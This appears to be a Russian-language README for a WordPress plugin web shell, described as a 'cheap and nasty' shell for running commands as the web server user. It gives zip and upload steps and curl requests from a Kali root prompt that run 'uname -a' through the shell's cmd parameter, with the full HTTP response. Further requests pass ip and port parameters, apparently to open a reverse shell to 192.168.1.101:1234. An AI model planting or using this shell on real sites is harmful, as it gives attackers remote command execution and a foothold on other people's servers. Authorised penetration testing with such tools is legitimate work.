
Дешевая и мерзкая оболочка для выполнения команд в WordPress
Дешёвая & грубая оболочка для выполнения команд WordPress.
Выполняйте команды от имени веб-сервера, на котором работает WordPress! Загруженная оболочка, скорее всего, будет доступна по адресу /wp-content/plugins/shell/shell.php
Для установки оболочки предполагается, что у вас есть административный доступ к установке WordPress и возможность устанавливать плагины.
Вы можете либо загрузить zip-файл из каталога dist/, либо создать свой собственный архив с помощью:
$ zip -r shell.zip shell.php
adding: shell.php (deflated 39%)
$ ls -lah shell.zip
-rw-r--r-- 1 bob staff 492B Aug 29 14:17 shell.zip
После загрузки перейдите по адресу /wp-content/plugins/shell/shell.php и укажите cmd или ip в качестве аргумента.
root@kali:~# curl -v "http://192.168.0.1/wp-content/plugins/shell/shell.php?$(python -c 'import urllib; print urllib.urlencode({"cmd":"uname -a"})')"
* About to connect() to 192.168.0.1 port 80 (#0)
* Trying 192.168.0.1...
* connected
* Connected to 192.168.0.1 (192.168.0.1) port 80 (#0)
> GET /wp-content/plugins/shell/shell.php?cmd=uname+-a HTTP/1.1
> User-Agent: curl/7.26.0
> Host: 192.168.0.1
> Accept: */*
>
* additional stuff not fine transfer.c:1037: 0 0
* HTTP 1.1 or later with persistent connection, pipelining supported
< HTTP/1.1 200 OK
< Date: Thu, 28 Aug 2014 09:28:24 GMT
< Server: Apache/2.2.14 (Ubuntu)
< X-Powered-By: PHP/5.3.2-1ubuntu4
< Vary: Accept-Encoding
< Content-Length: 191
< Content-Type: text/html
Linux wordpress-server 2.6.32-21-generic-pae #32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 i686 GNU/Linux
root@kali:~# curl -v "http://192.168.0.1/wp-content/plugins/shell/shell.php?$(python -c 'import urllib; print urllib.urlencode({"ip":"192.168.1.101"})')"
root@kali:~# curl -v "http://192.168.0.1/wp-content/plugins/shell/shell.php?$(python -c 'import urllib; print urllib.urlencode({"ip":"192.168.1.101","port":"1234"})')"